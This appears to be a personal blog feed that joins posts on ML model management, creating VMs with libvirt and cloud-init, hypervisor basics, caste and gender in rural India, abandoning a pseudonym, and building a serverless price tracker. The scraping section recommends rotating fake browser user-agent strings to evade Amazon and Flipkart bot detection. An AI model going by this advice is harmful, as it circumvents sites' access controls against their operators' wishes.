Create reusable software environments for training and deploying models.
Register, package, and deploy models from anywhere.
Deals with data governance for the end-to-end ML lifecycle.
Notify and alert on events in the ML lifecycle.
Monitor ML applications for operational and ML-related issues.
Automate the end-to-end ML lifecycle with Azure Machine Learning and Azure Pipelines.

If you’re considering making your whole ML infrastructure cloud-based, or if you’re already on the cloud bandwagon, Azure Machine Learning might be an excellent platform to consider. It offers all the state-of-the-art MLOps workflows, and you won’t have to manage a single piece of hardware by yourself.

Final remarks

Machine learning model management frameworks make your ML workflow much smoother, lets your team collaborate and share their insights, in turn increasing their efficiency and productivity by a great margin. You should incorporate an ML model management framework in your arsenal; it’s an essential component of using ML effectively in 2020 and beyond.

If you’re new to model management, I would suggest you start with a framework that’s lightweight enough to not add any friction to the workflow and codebase you already have in place. Once you understand how it suits you, and how you can use it to be more productive, you can incorporate it more deeply into your workflow. Neptune is such a framework, it’s lightweight enough to not get in your way, but it’s also powerful if you use it to its full potential.

Creating a VM using Libvirt, Cloud Image and Cloud-Init

Thu, 10 Sep 2020 18:30:00 GMT

In this post, we’re going to see how we can create virtual machines in seconds, the way it’s done in modern cloud infrastructures such as EC2 and Digital Ocean. This is kind of a continuation of my previous post, where I explain the basics of virtualization and create a virtual machine in the old-school way. So let’s dive right into it!

The old-school, traditional way of creating virtual machines goes like the following.

Create a VM from scratch by allocating a newly created blank disk image to it.
Install an OS on the VM, from either an ISO or using PXE network boot.

In the second step, the OS installation wizard usually needs many manual inputs, which is not ideal for automation purposes. Here’s how automated installation tools like Preseed for Debian and derivatives, and Kickstart for RHEL and Ubuntu comes into play. A sysadmin can pre-generate a file containing all the required configuration options, and these tools can read that file at install time, skipping the need for manual inputs. In this way, the whole VM creation process can be automated.

But still, the installation takes quite some time, which is unacceptable in the age of cloud computing. If you’ve used cloud platforms such as EC2 and Digital Ocean, you know how fast they can provision a VM. You just select an OS, the disk size, number of CPUs, RAM, and provide an SSH key—and you get a VM up and running in less than a minute. We’re gonna see how they do that, and how we can do the same in our machine.

How It Works

In the old-school way, we created a blank disk image, and installed the OS in that. The installation step is the bottleneck, but there’s a straightforward way to skip that step entirely: import a disk that already has the OS installed in it. This kind of disk image is called a cloud image. You can understand what a cloud image is by understanding how it’s usually created

Create a VM with a blank disk image.
Install a minimal version of the OS in that VM.
Create a snapshot of the disk just after the installation.

So, a cloud image is different than a normal installation image. Most OS vendors provide both an installation image and a cloud image of their OS; you can find the Ubuntu cloud images here. As you can imagine, once we have a cloud image, we can just import that and create a new VM using that image as the root disk, skipping the need for installation as the OS is already installed in that image.

Cloud-Init

Creating a VM using a cloud image is cool, but there’s a problem with this approach, we didn’t get any chance to customize the installation. All the configurations that are usually done in install time—setting the hostname, username, password, importing SSH key, we didn’t get to do any of that. Kickstart used to take care of this in the old paradigm; can we use Kickstart here too? Well, Kickstart comes into action at install time, it’s a feature of the installation wizard; we skipped the installation process entirely, so no, we can’t use Kickstart.

Canonical—the parent company behind Ubuntu—developed a solution to this problem called cloud-init. Their official website pitches cloud-init like the following

Cloud images are operating system templates and every instance starts out as an identical clone of every other instance. It is the user data that gives every cloud instance its personality and cloud-init is the tool that applies user data to your instances automatically.

Use cloud-init to configure:

Setting a default locale

Setting the hostname

Generating and setting up SSH private keys

Setting up ephemeral mount points

As we can see, this is exactly what we want. Now let’s understand how cloud-init works.

Cloud-init is a program that runs after every boot. What it does is the following.

Fetch two configuration files, user-data and meta-data, from some pre-defined locations called datasources. The most commonly datasources are the following

Hosting the files on an HTTP endpoint and hardcoding the endpoint URL into the cloud image. Most public cloud providers use some variation of this method.
Attaching an ISO disk named cidata to the VM, containing the two config files. Cloud-init will look for a disk with the volume label cidata, and if it finds one, it’ll fetch the files from that disk. This datasource is called NoCloud, and we’re going to go with this one as it’s a lot simpler and suitable for a smaller-scale homelab.

Set the configuration options according to the two aforementioned configuration files.

As we discussed, cloud-init needs two config files.

meta-data contains some basic metadata about the system, such as hostname and instance id.
user-data is much more flexible; it can be anything ranging from a YAML config file to a bash script. You can find all the valid user-data formats here.

Now that we have a basic idea of cloud-init and how it works, let’s get our hands dirty and create a VM using cloud image and cloud-init.

Creating a VM Using Cloud Image and Cloud-Init

Prerequisites

First of all, we need to install the virtualization essentials: the complete Libvirt distribution with all relevant dependencies and utilities, and virtinst.

$ sudo apt install libvirt-daemon-system virtinst

The libvirt-daemon-system package contains the Libvirt C libraries, the Libvirt daemon, CLI utilites to interact with the daemon, and QEMU-KVM as the default hypervisor. The virtinst package contains additional helper programs such as virt-inst, virt-viewer, genisoimage, etc. If you’re unfamiliar with what these are and how they interact, check out my previous post.

Next, we need to download the cloud image we want. I’m going to go with the latest cloud image of Ubuntu. You can get all the Ubuntu cloud images here. A quick tip: in the following command, just replacing focal with the distribution name you want should also work.

$ wget http://cloud-images.ubuntu.com/focal/current/focal-server-cloudimg-amd64.img

Creating a Disk Image

Now that we have a cloud image—which is almost like a template we want to build our VM’s disk image from—the next would be creating the disk image itself. Before we do that, we need to understand some of the optimizations the QCOW image format has

QCOW uses a disk storage optimization strategy that delays allocation of storage until it is actually needed. This allows smaller file sizes than a raw disk image in cases when the image capacity is not totally used up. Let’s see this hands-on
```
$ qemu-img convert -f qcow2 -O raw focal-server-cloudimg-amd64.img focal-server-cloudimg-amd64.raw
$ ls -lh
total 1.8G
-rw-rw-r-- 1 libvirt-qemu kvm   520M Sep  7 18:58 focal-server-cloudimg-amd64.img
-rw-r--r-- 1 sumit        sumit 2.2G Sep 12 12:17 focal-server-cloudimg-amd64.raw
```
As you can see above, qemu-img is the program we’re using to create, modify, and inspect disk images. I already had the focal-server-cloudimg-amd64.img image which is of the QCOW2 format, and I created a RAW copy of it. From the last ls -lh command, we can clearly see how these two formats differ—the file size of the RAW image is 2.2 GB, while the QCOW2 image takes up only 520MB, despite both having the same contents and the same virtual size. This is because the QCOW2 image only allocated the storage which is actually needed, and it will grow the image as more and more space is being used. Without using copy on write—as you can imagine—with every VM we create, we would have redundant copies of the original base image, and those would’ve eaten up our disk space.
QCOW stands for QEMU Copy On Write; as evident from the name, another key optimization it has is its ability to use a base image in a copy on write mode. From Wikipedia

The qcow format also allows storing changes made to a read-only base image on a separate qcow file by using copy on write. This new qcow file contains the path to the base image to be able to refer back to it when required. When a particular piece of data has to be read from this new image, the content is retrieved from it if it is new and was stored there; if it is not, the data is fetched from the base image.

We’ll be using this feature of QCOW, as it will save a lot of storage in case we create a lot of VMs. We’ll see how this works shortly.

Now that we understand how QCOW works, let’s create a disk image for our VM.

$ qemu-img create -b focal-server-cloudimg-amd64.img -f qcow2 -F qcow2 hal9000.img 10G
Formatting 'hal9000.img', fmt=qcow2 size=10737418240 backing_file=focal-server-cloudimg-amd64.img backing_fmt=qcow2 cluster_size=65536 lazy_refcounts=off refcount_bits=16

Here, we used the cloud image focal-server-cloudimg-amd64.img as the base image for our new image hal9000.img. At first, the new image will contain only a reference to the base image, nothing else. As long as the blocks in the new image are being read, QCOW will fetch those blocks directly from the base image and serve them. Only when some block in the new image is written to, it will copy the block contents from the base image into itself and make the writes// changes there. In this way, copy on write saves only the modifications or writes in the new image, keeping the image size small. We can verify this by checking their file sizes

sumit@HAL9000:~/images/base$ ls -lh
total 520M
-rw-rw-r-- 1 libvirt-qemu kvm   520M Sep  7 18:58 focal-server-cloudimg-amd64.img
-rw-r--r-- 1 sumit        sumit 193K Sep 12 12:39 hal9000.img

The new image takes up only 193KB! This will keep growing as make writes to the image, but it’s still a huge storage optimization.

Creating Cloud-Init Configuration Files

As we know, cloud-init uses two configuration files, user-data and meta-data. Below is the meta-data we’ll be using

instance-id: hal9000
local-hostname: hal9000

It’s a YAML file with a unique instance id and hostname.

Next, we’re going to create a user-data

#cloud-config

users:
  - name: sumit
    ssh_authorized_keys:
      - ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDzMSSuEky2HWKy3/p01BXURLkYhDkJ+Wpd45kU7s0737LXx9zhRqWyX0pnUcGf1A5uKpy6JiaHNjRT/PBKMye0ej1CSurPZXOEyjSSK4MlW8NkRAHiLBuBAhetG3jANWKxcvsvsp172XdK8yP81B0w4qlKQz7J5GbALuwSwFEQu01tjf4aErEvV8xXxl2y1O8DMxjTiXT2WLTeoUDQldBm3m56ogtajnJz7USiZPePUZHcm6DMp9/2+ucef3/1AAtK0adQzwhnj6W+0eCTqdQz+DF9erqsMkd7QoRaQ0/ZK/rqljMwdbux6NySA1U5Zx2JaNUlClmfqxlkBm8TbY7 sumit@sumit-ghosh.com
    sudo: ["ALL=(ALL) NOPASSWD:ALL"]
    groups: sudo
    shell: /bin/bash

User-data is very versatile and supports many different formats; we’re using the cloud-config format, which is the most convenient. A cloud-config user-data is basically a YAML file that begins with #cloud-config. The above user-data should be mostly self-explanatory.

I’m creating a user with the username “sumit” using name: sumit, you name the user whatever you want.
A list of authorized SSH public keys can be supplied using the ssh_authorized_keys array; I’m putting my SSH public key there, you should put yours.
We’re giving the user password-less sudo privileges using the sudo: sudo: ['ALL=(ALL) NOPASSWD:ALL'] line.
We’re adding the user to the sudo group.
The default shell of the user is set to /bin/bash.

Finally, we need to create an ISO image with the volume label cidata containing these two files; you should recall this is how the NoCloud data source works.

$ genisoimage -output cidata.iso -V cidata -r -J user-data meta-data
I: -input-charset not specified, using utf-8 (detected in locale settings)
Total translation table size: 0
Total rockridge attributes bytes: 331
Total directory bytes: 0
Path table size(bytes): 10
Max brk space used 0
183 extents written (0 MB)

The above genisoimage command should create a file named cidata.iso containing the user-data and meta-data files we created earlier. Notice that we’re setting the volume label to cidata using the -V cidata argument.

Creating the VM

Just like before, we’re gonna use virt-install to create our VM.

$ virt-install --name=hal9000 --ram=2048 --vcpus=1 --import --disk path=hal9000.img,format=qcow2 --disk path=cidata.iso,device=cdrom --os-variant=ubuntu20.04 --network bridge=virbr0,model=virtio --graphics vnc,listen=0.0.0.0 --noautoconsole

Starting install...
Domain creation completed.

Most of the CLI parameters should be self-explanatory, although there are some that you should pay attention to

The VM name is set to be “hal9000” using the name parameter.
The VM is allocated 2 GB of RAM using the ram parameter and a single-core virtual CPU using the vcpus parameter.
Using the ---import argument, we’re letting virt-install know that we’re importing an image which has the OS already installed within.
We’re attaching both of the images we created using the disk parameter, the QCOW image hal9000.img to be used as the storage, and the ISO image cidata.iso as a datasource for cloud-init.
Mentioning the os-variant helps it make some OS-specific optimizations.
We’re mentioning a network interface using the network parameter as we want our VM to have network connectivity. Using a bridge network interface is the simplest networking model we can have, and that’s what we’re going with.
Using the --graphics vnc,listen=0.0.0.0 argument, we’re setting a virtual console in the guest, and exposing it as a VNC server in the host. We can connect to the VM console using this VNC server later on if we want.
Finally, on using the --noautoconsole argument, virt-install doesn’t open a console to the guest VM after creation, it just exits. This is essential for automation.

After creation, give it 10-20 seconds to boot up. Then get the newly created VM’s IP address using the following command.

$ virsh net-dhcp-leases default
 Expiry Time           MAC address         Protocol   IP address           Hostname   Client ID or DUID
------------------------------------------------------------------------------------------------------------------------------------------------
 2020-09-12 14:50:17   52:54:00:e5:0e:65   ipv4       192.168.122.103/24   hal9000    ff:56:50:4d:98:00:02:00:00:ab:11:db:1f:d2:8c:42:8a:75:70

As you can see, in my case, the IP address allocated to the hal9000 VM is 192.168.122.103. Now I can simply SSH into the VM

$ ssh sumit@192.168.122.103

And I have access to a brand new VM, created under a minute! You can automate the whole process using a script, such as this Ansible playbook I wrote.

Conclusion

Hopefully this post was helpful to you. If you any questions, feedback, or suggestion, please leave it in the comments down below. You can also reach me via email or on Twitter. Thanks for reading!

Virtualization and Hypervisors :: Explaining QEMU, KVM, and Libvirt

Mon, 07 Sep 2020 18:30:00 GMT

In this post, I will explore some core concepts and terminologies regarding virtualization in Linux systems. I intend it to serve as a reference, especially for beginners who are just getting started with virtualization and system administration in general.

Hypervisors

Virtualization, i.e., creating and running virtual machines, is handled by something called a hypervisor, which can either be software, firmware or hardware. The system on which the hypervisor runs virtual machines is called the host system, and the virtual machines themselves are called guest systems. The hypervisor manages and provides resources to the guest OS, and it translates system calls of the guest OS to suitable system calls or hardware interrupts in the host system.

Hypervisors can be generally categorized into two types.

Type 1 hypervisor: These run on bare metal and typically leverage features of the CPU specifically built for virtualization, for example, AMD-V and Intel VT-x. Examples of type 1 hypervisor are:
- KVM, which is a Linux kernel module and part of the official Linux kernel.
- VMWare ESXi.
- Microsoft Hyper-V.
Type 2 hypervisor: These run on top of a host OS, and thus it translates system calls made by the guest OS to system calls made to the host OS. Type 2 virtualization is also called emulation, to distinguish it from type 1 or true virtualization. Examples include:
- QEMU.
- VMWare Workstation.
- VirtualBox.

Differences: Advantages and Drawbacks

In general, type 1 hypervisors are a lot faster than type 2 hypervisor.
Type 1 hypervisors can only emulate the same architecture as of the host CPU. For example, it can only create VMs with x86 architecture if the machine has an x86 CPU. Type 2 hypervisors, on the other hand, emulate any and all architectures regardless of the host CPU, at least in theory.

QEMU and KVM

When considered separately as standalone software, QEMU is a type 2 hypervisor, and KVM is a type 1 hypervisor, just like we already discussed. But in the specific case when,

The guest OS and the host OS has the same architecture.
The host CPU supports bare-bones virtualization extensions, such as AMD-V or Intel VT-x.
The host OS has KVM installed.

QEMU can use KVM to translate the calls made to the CPU and the memory, thus turning that part of the virtualization process bare-bones or type 1. The rest of the system calls, such as calls to IO devices and disk drives, are routed through the OS, in the usual type 2 fashion. As CPU and memory calls are the most critical system calls, using KVM to handle them makes the whole process a lot faster and smoother. In this way, QEMU-KVM works in tandem to bring the best of both worlds.

Libvirt

Libvirt is an open-source set of software and libraries which provide a single way to manage multiple different hypervisors, such as the QEMU, KVM, Xen, LXC, OpenVZ, VMWare ESXi, etc. It consists of a stable C API, a daemon, and command-line utilities to work with the Libvirt API. The Arch wiki page on Libvirt has much useful information, keep in mind that the packages and commands may not correspond well with other Linux distributions.

Installing Libvirt with QEMU-KVM

The following apt packages are essential for creating and managing virtual machines using Libvirt with QEMU-KVM in an Ubuntu system.

libvirt-daemon-system: The complete Libvirt distribution, i.e., the C libraries and the Libvirt daemon libvirtd. It also installs the following helper packages
- libvirt-clients, which is a collection of CLI utilities to interface with the Libvirt daemon.
- bridge-utils for networking.
- qemu-kvm as the default hypervisor.
virtinst: For some helper utils such as virt-install and virt-viewer.

Running the following command would install the above

$ sudo apt install libvirt-daemon-system virtinst

Creating a VM

Now that we have installed Libvirt with QEMU and KVM, I will show how we can create a VM using this. This is mostly for demonstration purposes, so I’m going to keep the process as simple and minimal as possible.

Firstly, we’ll have to create a disk image file which is to be used by the VM as its secondary storage or disk. The format can be either RAW, or QCOW2—which has some very useful optimizations. For now, we’re going to go with RAW.
```
$ qemu-img create -f raw -o size=10G vol.raw
Formatting 'vol.raw', fmt=raw size=10737418240
```
As you can see, we mentioned the image format using the -f raw argument, made it have 10 GB of storage using the size=10G argument, and we named the image file vol.raw.
Once we have a disk image, we can create the VM with the disk image as its storage using the virt-install command. We’ll also have to pass an installation media for installing an OS in the VM—you can use any installer image you have, I’m going to use the installer for Ubuntu Budgie 18.04.
```
sumit@HAL9000:~/Coding$ virt-install --name=vm1 --ram=2048 --vcpus=1 --disk path=vol.raw --cdrom=/home/sumit/Downloads/ubuntu-budgie-18.04.3-desktop-i386.iso --os-variant ubuntu18.04 --network bridge=virbr0,model=virtio

Starting install...
```
The CLI parameters are mostly self-explanatory.
- The VM name is set to be vm1 using the name parameter.
- The VM is allocated 2 GB of RAM using the ram parameter and a single-core virtual CPU using the vcpus parameter.
- The disk image and installation image is supplied using the disk and cdrom parameters.
- Mentioning the os-variant helps it make some OS-specific optimizations.
- Finally, we have to mention a network interface using the network parameter so that the VM has network connectivity. Using a bridge network interface is the simplest networking model we can have, and that’s what we went with.

Once you run the virt-install command like above, a virt-viewer window should pop up with the installer running, go ahead and follow the installation wizard to install the OS. You can open the VM anytime later by running the following command.

$ virt-viewer vm1

Shutting down, starting, and rebooting is very easy too!

$ virsh shutdown vm1
$ virsh start vm1
$ virsh reboot vm1

Conclusion

I hope this post helped you understand the basics of virtualization and get started with it. I plan to post more tutorials exploring specific use-cases; until then, have fun tinkering around! Feel free to leave a comment below if you have any questions or feedback. You can also always drop me an e-mail or contact me on Twitter if you want to talk. Cheers!

Clarifications

I got some questions and comments about this post on Reddit. I’m including the discussions here as they shed light on some nuances regarding the topics discussed above.

Comment by Reddit user retnikt0;

QEMU and KVM are neither really type 1 nor type 2 hypervisors; they’re kind of somewhere in between. QEMU uses KVM so they certainly can’t be different types.

Roughly KVM can be called a type 1 hypervisor and QEMU a type 2 hypervisor, but he’s right, there’s some more nuance to that if we want to be completely correct.

QEMU acts as an emulator (i.e. a type 2 hypervisor) if the KVM kernel module is not available. But when the KVM module is available, it uses that to speed up system calls, so in that case, in a way it sits halfway between type 1 and type 2 hypervisor.

When we consider KVM by itself, it’s not strictly a type 1 hypervisor either, as it still is part of an OS; it’s not a complete standalone system like VMWare ESXi built to only host VMs.

Comment by Reddit user NinjaAmbush;

You might want to explain why we’d want to use QEMU on top of KVM. I understand why having QEMU use KVM speeds up certain system calls, but it’s not clear to me why I want QEMU in this set up.

KVM provides access to the virtualisation extensions available on x86 systems using an API. Using KVM without QEMU is certainly possible, but you’ll need to deal with the KVM API at extremely low-level. QEMU provides gives a stable interface in the form of a set of binaries to interact with KVM, and set of helper components (such as the virtio interface) so that full-fledged virtual machines can be built easily. The two projects are developed together; in the real world it’s unlikely to see KVM without QEMU, because that’s the way the developers want you to use them.

Caste, Gender and Patriarchy in Rural and Semi-Rural India

Mon, 17 Aug 2020 18:30:00 GMT

The institutions of caste, gender, and patriarchy in India are not as unambiguous as it might seem from the perspective of an outsider; complex coordination between them permeates the lives of almost everyone from the rural and semi-rural parts of India, despite the penetration of modern consumerist culture. We’re going to explore how these institutions of power interact with each other, and in turn how they make up the social order of the aforementioned parts of India.

Constraints on Marriage

As evident from many incidents from the past few decades, marriage and sexuality is tightly controlled in these societies. Marriage is almost always limited to intra-cast, the primary motivation being the solidarity of caste and the strengthening of its power. Exogamy, in this context, breaches the traditional norms, which brings shame not only to the couple but to the whole family and typically also to the extended family and caste. To make sure the younger population learns a lesson, these couples are sometimes punished inhumanely—by torture and death—which is justified according to the “law of the land.” The panchayats impose these punishments: the village panchayats, the caste panchayats, or in some cases, the larger khap panchayats. The local police do not intervene in these “social” matters. The policemen are usually recruited from the upper-caste population, so they believe these matters best be left to the traditional systems of justice. The conventions of status, tradition, honour, etc are the usual rationale behind these, but underneath all those it’s almost always a form of assertion and retention of power.

Caste and Gender

The standards of the customs we discussed in the previous section are not uniform within the genders. The upper-caste men have a practice of taking wives from the lower-caste population, and that’s usually well tolerated; according to the folk wisdom, the women have no caste, their caste is determined by the company they keep and the family they marry into. The fact that the male to female ratio is severely imbalanced plays a role—in the rural parts there are many more males than females, so sometimes it becomes essential for men to look outside their caste for marriage prospects; otherwise, the bloodline would stop, the family heritage would be lost, the caste would grow weaker. As we can observe, the caste institutions are very closely aligned with patriarchy, and rather it’s built on top of patriarchy. The caste system is a power dynamic within the already privileged male population; women are not much more than instruments from the perspective of the institution of patrilineal caste. In the next section we’ll explore how the sexuality of women is controlled and managed throughout their lives.

Feminine Sexuality

The experiences of women and men in the relevant societies are very different from each other. Women are almost like a resource—an instrument—they don’t have any fixed family identity or caste identity, let alone an identity as an independent individual. Throughout various rituals of socialization performed throughout their childhood, this social reality is hammered into their psyche.

A prepubescent girl isn’t treated much differently than a boy of similar age. They’re free to roam around, play with the boys, jump and laugh as they wish. As soon as they have their first menstruation, a dramatic shift occurs in their social reality. This change is signified by some specific ritual, the details of which vary from region to region, but it usually involves social isolation and a special diet. Pubescent girls are advised to stay indoors, they are required to wear saree (so that the upper body is covered properly), they aren’t allowed to eat particular “hot” or “cold” food, they are advised not to jump, talk loudly, or ride bicycles, they are taught to practice moderation and self-denial, and so on. These practices, in part, make sure the girls don’t explore their sexuality on their own, and in part, prepare them for the probable harsh environment of sasural or the house of the in-laws.

Throughout various festivities and rituals—like the Durgapuja in West Bengal—the girls are mentally prepared and socialized to accept that they won’t be able to visit their natal home frequently once they’re married. The marriage ritual itself involves a lot of symbolism signifying the complete transfer of the bride: where the bride severs all connection with their parents and the natal home, and is completely given over to her husband and his family. This transactional nature of marriage affects the relationship between the family and daughter to a great extent: any investment into her is considered an investment just for her own sake, and moreover, for her future marital family, it is not an investment towards the natal family. That’s why girls are often given less food, less education, and overall more attention compared to the boys. Understanding this reality, the girls encourage dowry because that’s one of the ways she can gain some identity and power in sasural.

Conclusion

Despite the fact that much of the population is now exposed to urbanization and modern consumerist culture, the social landscape hasn’t changed much. Only the masculine and macho parts of the urban environment have been integrated, the women’s experience remains more or less the same. As we’ve discussed, a complex interplay between caste, gender, and power maintains the status quo.

References

[1] Chowdhry, Prem. “Enforcing Cultural Codes: Gender and Violence in Northern India.” Economic and Political Weekly, vol. 32, no. 19, 1997, pp. 1019–1028., www.jstor.org/stable/4405393. Accessed 18 Aug. 2020.
Dube, Leela. “On the Construction of Gender: Hindu Girls in Patrilineal India.” Economic and Political Weekly, vol. 23, no. 18, 1988, pp. WS11–WS19. JSTOR, www.jstor.org/stable/4378429. Accessed 18 Aug. 2020.

I’m Going to Use My Real Name Everywhere

Mon, 03 Aug 2020 18:30:00 GMT

In this post, I mentioned that I had decided to use a pseudonym online to put out my political and philosophical thoughts. The central reason for this was the fear of being cancelled and potentially hurting my career and employment. Recently I’ve been rethinking this and decided to abandon the pseudonym and use my real name instead, let me tell you why.

Why I’m Going to Use My Real Name

As I started rethinking the pseudonym decision, I wondered why people use anonymous accounts on the Internet. This article came up in the search results, where the journalist had the same curiosity, and she went out and interviewed some people who use a pseudonym on the Internet regularly. The principle reasons that came up were

For awkward and socially inept teens who struggle to make friends, these alt accounts can be useful outlets; they can comfortably be themselves and be confident in their own skin.
For some, the reasons are political; maybe they have some extreme political views, or maybe they just don’t want their friends and family to know their political viewpoints, and inadvertently ruin the relationships. Or it might be something more nefarious, such as sockpuppeting and astroturfing.
For people struggling with mental health, sexual issues, or issues that have some stigma attached to it, an alt account can be a good medium to discuss these issues and explore these emotions.
Sometimes people just want to vent, and they might not have a good enough support system in their life. For them, alt accounts can be space for venting and having someone to listen to.
For people who have sensitive or public-facing jobs—such as government officials and political journalists—maintaining a professional image in their public social media accounts is a necessity. They can use anonymous accounts as an indulgence, for not-so-professional things.

But for most people, the motivations for using pseudonyms boil down to some mental health or personal crisis.

As I went through these, I realized that all of these are very valid reasons, but none of these applies to me. I knew that I had to clearly figure out my personal motivations for doing this whole thing—blogging, being online and putting out my thoughts out there—in the first place. Realizing that the above motivations don’t apply to me was definitely a start, because understanding what something is not can be one of the best ways to understand the thing itself. As I introspected a bit more, my motivations became clearer;

I want to engage in discourses around political, philosophical or social issues; genuinely and authentically. I don’t want to hide behind layers of irony all the time. I’ll admit circle-jerking and trolling might be fun sometimes, but it doesn’t get us anywhere. Most of the anonymous political Twitter I’ve seen so far end up doing just that, and I don’t want to be a part of that.
But I can do the above as an anon also, why use my real name? The answer is skin in the game, if I may borrow Dr. Taleb’s term. When someone puts his contrarian ideas out there using his real identity, he has his reputation—something genuine—to lose. He has his skin in the game. And that carries a certain weight, people tend to take him more seriously.
I want to meet interesting people, get to know them, have interesting discussions, and so on. I don’t prefer the medium of the Internet for discussions, I prefer real-life conversations a lot more. The Internet is only a medium for my thoughts to be out there so that like-minded people can find me and reach out to me. And that won’t be possible if I hide behind an anonymous face.
I want to make my online activities as less time-consuming as I can. Maintaining multiple personas seems to only take up more bandwidth, and eventually, it becomes a source of stress and anxiety.
Most importantly, I want to build a sense of personal identity through all of these, these should be a process for me as well as others to get to know myself. I’m realizing that one of the main reasons I didn’t end up writing much in this blog because I subconsciously thought it was pointless, as it wasn’t getting attributed to the real me anyway.

Other than that, I mostly agree with everything Jacob Falkovich said tackling the same issue in this blog post.

Going forward

I’m going to keep using my eponymous website sumit-ghosh.com for my portfolio as a software developer, and for my technical articles related to programming and computers. This blog, okrefusal.com, will be used as a catch-all space for more random musings; it’ll be more personal and human than the former one. I’ll also move the non-technical posts I have on sumit-ghosh.com to here.

I’m going to stop using the R3FS1 Twitter handle; SkullTech101 will be the de-facto space where the full, uncompartmentalized me can be found. Looking forward to meet you there!

Building a Serverless Price Tracker for Amazon and Flipkart using AWS

Wed, 15 Jul 2020 18:30:00 GMT

The prices on online shopping sites such as Amazon and Flipkart change a lot, and that too quite frequently. This can be both positive and negative: on the upside, if you’re vigilant you can grab some lucrative deals, the downside is that if you’re not careful you might end up buying something at a rate higher than the normal. Tools like Keepa can be handy in this regard, it shows you a graph of the price history of a particular product so that you can make a good decision. Keepa can even send you an alert in case the price goes down! But I’ve found Keepa can be a bit unreliable; it seems to track the prices at a much coarser granularity, as a result it can miss some short-lived deals. Also it doesn’t track all products, only the popular ones.

So I decided to build something like it myself, just the bare-bones, mostly for my own usage. In this post I’m going to share in detail how I built it, including the architecture choices I made and why I made them.

The Architecture Overview

Before I start explaining the application, here’s a simple architecture diagram I made of the whole setup. I’m putting it here at the start rather than the end because I just want to show what’s to come, the article will go into detail about everything.

Note — You can find the full source code of the application on Github here, you can refer to that as you go through the article.

Application Specifications

From a functional standpoint, the application would do the following

Track the prices of only the products the users have requested tracking for.
Send alerts to the users whenever the prices of the products they’re tracking changes.

I decided not to implement any user authentication, as that would increase the complexity a lot. It can always be added later if I feel like it.

As for the technical architecture, the product would be

Highly scalable.
Built with AWS using a serverless architecture.

I decided to use Python as the programming language, along with the serverless framework to ease deployment. So without further ado, let’s dive into the core of the discussion, i.e. building the application itself.

Scraping Prices from Amazon and Flipkart

My go-to tools for scraping are requests and lxml. You must have come across requests already, it might be the most popular Python library of all time. But still, if you didn’t know, it’s an HTTP library with a very elegant and easy-to-use interface, and even the Python core team recommends using this over their native HTTP library urllib.request. Using requests we can download the HTML page from the Amazon or Flipkart product page, and then we’ll use lxml to parse the HTML and extract the relevant information from it. There are some alternatives to lxml we could’ve used—beautifulsoup comes to mind—but lxml is much more faster than its competition, mostly because it is a compiled C library at it’s core.

This article is an excellent quickstart guide to scraping using requests and lxml. I’m not going to cover the scraping code I wrote in detail, instead I’m going to cover some interesting problems I faced and how I solved them. If you’re unfamiliar with these libraries or scraping in general, check it out and you’ll be up to speed in no time.

Getting an Unique Product Identifier

I figured I’d need an unique identifier for every product I’ll be tracking. I had noticed that both Amazon and Flipkart uses a product id in their URL, so either I can extract that id from the URL, or I can use the entire URL itself as the identifier. But there is a problem with both of these approaches—I can’t expect an user to give a clean URL as an input to the application, they’ll most likely input URLs with lots of query parameters and tracking codes and what not. For example, this is what a typical input URL might look like

https://www.amazon.in/AmazonBasics-Hard-Camera-Case-Small/dp/B01L0LVDJO?pf_rd_r=P97H15WNVRADNZB27YZJ&pf_rd_p=8867cdc3-4624-428d-8e35-5e1d8221fe8a&pd_rd_r=50e65a90-dc1f-4d36-8736-caea744b47a9&pd_rd_w=FZhh0&pd_rd_wg=6fR1i&ref_=pd_gw_wish

We can’t use this as an unique identifier, as the query parameters will change depending upon various factors. So, we have to extract the core URL without the query parameters, something like the following

https://www.amazon.in/AmazonBasics-Hard-Camera-Case-Small/dp/B01L0LVDJO

You might be thinking, “this is pretty easy, we can just use a URL parsing library to parse the URL and get the parts we want”. And you would be right if it was just query parameters we were dealing with, turns out some Amazon URLs look like the following

https://www.amazon.in/gp/product/B00SHFP99W/ref=ppx_yo_dt_b_asin_title_o02_s00?ie=UTF8&psc=1

Here, the part starting with ref is redundant, despite it not being a query parameter. Also, as you might have noticed, sometimes the URL contains the product name as a slug, sometimes it doesn’t. If we were to do the parsing manually, we would have to take care of all of these fringe cases manually, and even then we could not be sure if covered all cases or not.

Solution: Canonical Link

There is a very simple solution to this problem of getting an unique product URL. You see, search engines faced this problem a long time ago; as soon as websites started using dynamic routing, the URL wasn’t anymore a reliable way of fingerprinting an webpage. That’s why it became industry standard to include a canonical link in every page, which is just a link tag with rel=canonical parameter included in the head section of an webpage. You can read more about canonical link here.

For an Amazon product page, the canonical link tag looks like the following

<link
  rel="canonical"
  href="https://www.amazon.in/Brother-HL-L2321D-Single-Function-Monochrome-Printing/dp/B00SHFP99W"
/>

We can use this canonical link safely as an unique identifier for products, as the responsibility of this being correct now falls on the Amazon developers, not us. Now all that’s left is extracting this link, the following XPath does the job perfectly

//link[@rel="canonical"]/@href

Escaping Bot Detection

Most websites try to stop scraping by using some bot detection techniques. Some of these can be quite sophisticated and hard to get around, but fortunately neither Amazon or Flipkart is using any sophisticated technique.

Whenever you hit any bot detection or captcha page while scraping, the first thing you should pay attention to is your User-Agent string, which is a string the client—usually the web browser—sends to the server in order to identify itself. Libraries like requests send a custom user agent string, so the server might be filtering the traffic using that. So make sure to use a standard user agent string, like that of Chrome, so that your script is not that easily identifiable.

I was getting blocked even after I used the user agent of Chrome, so the next thing I tried was rotating the user agent for each request. I hard coded a list of user agents in my script, and for each request I used a random one from that list. This was enough to get around the bot detection system of both Amazon and Flipkart.

For reference, you can use this website to get the latest user agents of the popular browsers.

The Application Architecture

Now that we have a script for scraping prices, let’s discuss the core application and its design. As with the previous section, I’m not going to describe the code in detail or go over every part of the application, I’m just going to discuss some scalability issues I faced and the design decisions I made regarding those.

The Database Schema

I decided to use DynamoDB as the database, as far as I know that is the best choice for a completely serverless application.

As for the tables, I started developing the application with a single table, that would contains objects that I dubbed bargain. A typical bargain would look like the following

{
  "bargainId": "339c94149456e5046b2284906c8acac0",
  "email": "sumit@skghosh.me",
  "productTitle": "Quaker Oats, 1.5kg Pack",
  "productUrl": "https://www.amazon.in/Quaker-Oats-1-5kg-Pack/dp/B00L2K9DM8",
  "latestPrice": 234,
  "subscribed": true
}

